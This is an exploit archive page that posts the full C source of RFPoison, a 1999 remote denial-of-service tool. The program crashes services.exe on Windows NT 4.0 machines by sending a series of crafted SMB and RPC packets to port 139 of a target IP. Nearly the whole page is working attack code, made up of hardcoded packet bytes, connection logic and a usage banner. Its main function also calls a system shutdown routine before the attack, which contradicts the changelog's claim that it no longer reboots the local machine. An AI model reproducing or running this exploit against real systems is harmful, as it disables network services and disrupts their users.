exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

RFPoison.c

RFPoison.c
Posted Jan 22, 2000
Authored by rain forest puppy | Site wiretrip.net

Source for the RFPoison, a NT remote DOS. NT 4.0 server and workstation are vulnerable, even with SP level 1, 3, 5, or 6.

Changes: AVP no loger thinks this is a trojan, and it no longer reboots the machine it is running on.
tags | remote
SHA-256 | 97b128e117f9dab3ea840c5462d01811717f598125ea7c7d49bde330c80268b9

RFPoison.c

Change Mirror Download
/*      RFPoison.c - rain forest puppy - Oct 1999

Kills services.exe on NT boxen, which breaks a lot of stuff */

#include <winsock.h>
#include <stdio.h>
#include <string.h>

void ipc_send ( char tosend[], int inc);
void usage (void);
void dosteps (void);

/* there's some inital repeated patterns, but separating them out
and adjusting the few different bytes in the middle would only
save about 50 bytes total, so screw it...I just leave full
sessions/packets/requests */

/* session setup */
char setup[]="\x81\x00\x00\x48\x20\x43\x4b\x46\x44\x45"
"\x4e\x45\x43\x46\x44\x45\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43"
"\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x00\x20\x45\x48\x45"
"\x42\x46\x45\x45\x46\x45\x4c\x45\x46\x45\x46\x46\x41\x45\x46\x46"
"\x43\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41\x41\x00\x00\x00"
"\x00\x00";

/* dialect select */
char dialect[]="\x00\x00\x00\xa4\xff\x53\x4d\x42\x72\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf4\x01\x00\x00\x01\x00\x00\x81\x00\x02\x50\x43"
"\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d"
"\x20\x31\x2e\x30\x00\x02\x4d\x49\x43\x52\x4f\x53\x4f\x46\x54\x20"
"\x4e\x45\x54\x57\x4f\x52\x4b\x53\x20\x31\x2e\x30\x33\x00\x02\x4d"
"\x49\x43\x52\x4f\x53\x4f\x46\x54\x20\x4e\x45\x54\x57\x4f\x52\x4b"
"\x53\x20\x33\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x53\x61\x6d"
"\x62\x61\x00\x02\x4e\x54\x20\x4c\x41\x4e\x4d\x41\x4e\x20\x31\x2e"
"\x30\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00";

/* setup account */
char account[]="\x00\x00\x00\x54\xff\x53\x4d\x42\x73\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf4\x01\x00\x00\x01\x00\x0d\xff\x00\x00\x00\xff"
"\xff\x02\x00\xf4\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x17\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f"
"\x55\x50\x00\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61\x00";

/* connect to IPC */
char ipc[]="\x00\x00\x00\x42\xff\x53\x4d\x42\x75\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf4\x01\x00\x08\x01\x00\x04\xff\x00\x00\x00\x00"
"\x00\x01\x00\x17\x00\x00\x5c\x5c\x2a\x53\x4d\x42\x53\x45\x52\x56"
"\x45\x52\x5c\x49\x50\x43\x24\x00\x49\x50\x43\x00";

/* connect to \srvsvc */
char srvsvc[]="\x00\x00\x00\x5b\xff\x53\x4d\x42\xa2\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x08\xf4\x01\x00\x08\x01\x00\x18\xff\x00\x00\x00\x00"
"\x07\x00\x06\x00\x00\x00\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x08\x00\x5c\x73\x72"
"\x76\x73\x76\x63\x00";

/* transact:bind */
char transact1[]="\x00\x00\x00\x94\xff\x53\x4d\x42\x25\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x08\xf4\x01\x00\x08\x01\x00\x10\x00\x00\x48\x00\x00"
"\x00\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4c"
"\x00\x48\x00\x4c\x00\x02\x00\x26\x00\x00\x08\x51\x00\x5c\x50\x49"
"\x50\x45\x5c\x00\x00\x00\x05\x00\x0b\x00\x10\x00\x00\x00\x48\x00"
"\x00\x00\x01\x00\x00\x00\x30\x16\x30\x16\x00\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x01\x00\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78"
"\x5a\x47\xbf\x6e\xe1\x88\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c"
"\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00";

/* transact:request share enumeration */
char transact2[]="\x00\x00\x00\xa4\xff\x53\x4d\x42\x25\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x08\xf4\x01\x00\x08\x01\x00\x10\x00\x00\x58\x00\x00"
"\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4c"
"\x00\x58\x00\x4c\x00\x02\x00\x26\x00\x00\x08\x61\x00\x5c\x50\x49"
"\x50\x45\x5c\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00\x58\x00"
"\x00\x00\x02\x00\x00\x00\x48\x00\x00\x00\x00\x00\x0f\x00\x01\x00"
"\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x5c\x00"
"\x5c\x00\x2a\x00\x53\x00\x4d\x00\x42\x00\x53\x00\x45\x00\x52\x00"
"\x56\x00\x45\x00\x52\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

/* no, that's not shellcode!!! */

int sizes[]={76,168,88,70,95,152,168};

char buf[8000];
int sox, connex;
struct sockaddr_in ntsin;

int main(int argc, char *argv[]){

WORD wVersionRequested;
WSADATA wsaData;
int err;
unsigned long crap;

err=ExitWindowsEx(6, crap);
if(err != 0){
perror("Exitwin failed: ");
exit(1);}

printf("RFPoison - rain forest puppy - ADM - wiretrip\n");
if (argc < 2 || argc > 2) usage();
printf("Poisoning %s\n",argv[1]);


wVersionRequested = MAKEWORD( 1, 1 );

err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
perror("WSAStartup puked: ");
exit(1);}

ntsin.sin_addr.s_addr = inet_addr(argv[1]);
ntsin.sin_family = AF_INET;
ntsin.sin_port = htons(139);

dosteps();
printf("Poison packet sent.\n");
return 0;
} /* end main */


void ipc_send ( char tosend[], int inc) {
int x;
send(sox, tosend, sizes[inc],0); /* send request */
x=recv(sox,buf,7000,0); /* get response */

if(x<1){
printf("Problem, didn't get response to step %i\n",inc);
closesocket(sox); exit(1);}

if(buf[9]!='\x00'||buf[10] !='\x00'||buf[11]!='\x00'||buf[12]!='\x00') {
printf("Step %i failed.\n",inc);
if(inc==4) printf("Maybe already dead?\n");
closesocket(sox);
exit(1);}

return;} /* end ipc_send */

void usage (void) {
printf( "\n\tusage: rfpoison <ip of target>\n"
"\t\tNOTE IT'S IP, NOT DNS!\n"
"\n\tProps:\n\n"
"\tADM\t\t- elite people who have fun!\n"
"\tw00w00\t\t- more elite people\n"
"\t#rhino9\t\t- my friends will know who they are\n"
"\twiretrip\t- who exactly are they?\n"
"\tNMRC\t\t- definately no rest for the wicca'd\n"
"\tAleph1\t\t- viva la full disclosure!\n"
"\n\t+ all other individuals and groups I talk to\n\n");
exit(1);}


void dosteps (void) {
sox = socket(AF_INET,SOCK_STREAM,0);
if (sox == INVALID_SOCKET){
perror("Socket problems: ");
exit(1);}

if (connect(sox, (struct sockaddr *)&ntsin, sizeof(ntsin)) == SOCKET_ERROR){
perror("Problems connecting: ");
exit(1);}

/* session setup */
send(sox,(char *)&setup,sizes[0],0); /* send initial request */
connex=recv(sox,buf,8000,0); /* get their response */

if(connex<1){
printf("Problem, didn't get response to setup\n");
closesocket(sox); exit(1);}

if(buf[0] !='\x82') {
printf("Setup failed.\n"); closesocket(sox); exit(1);}

/* steps */
ipc_send(dialect,1);
ipc_send(account,2);
ipc_send(ipc,3);
ipc_send(srvsvc,4);
ipc_send(transact1,5);

/* enum - can't use ipc_send because the read will fail */
send(sox,(char *)&transact2,sizes[6],0); /* send request */
closesocket(sox);
}
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close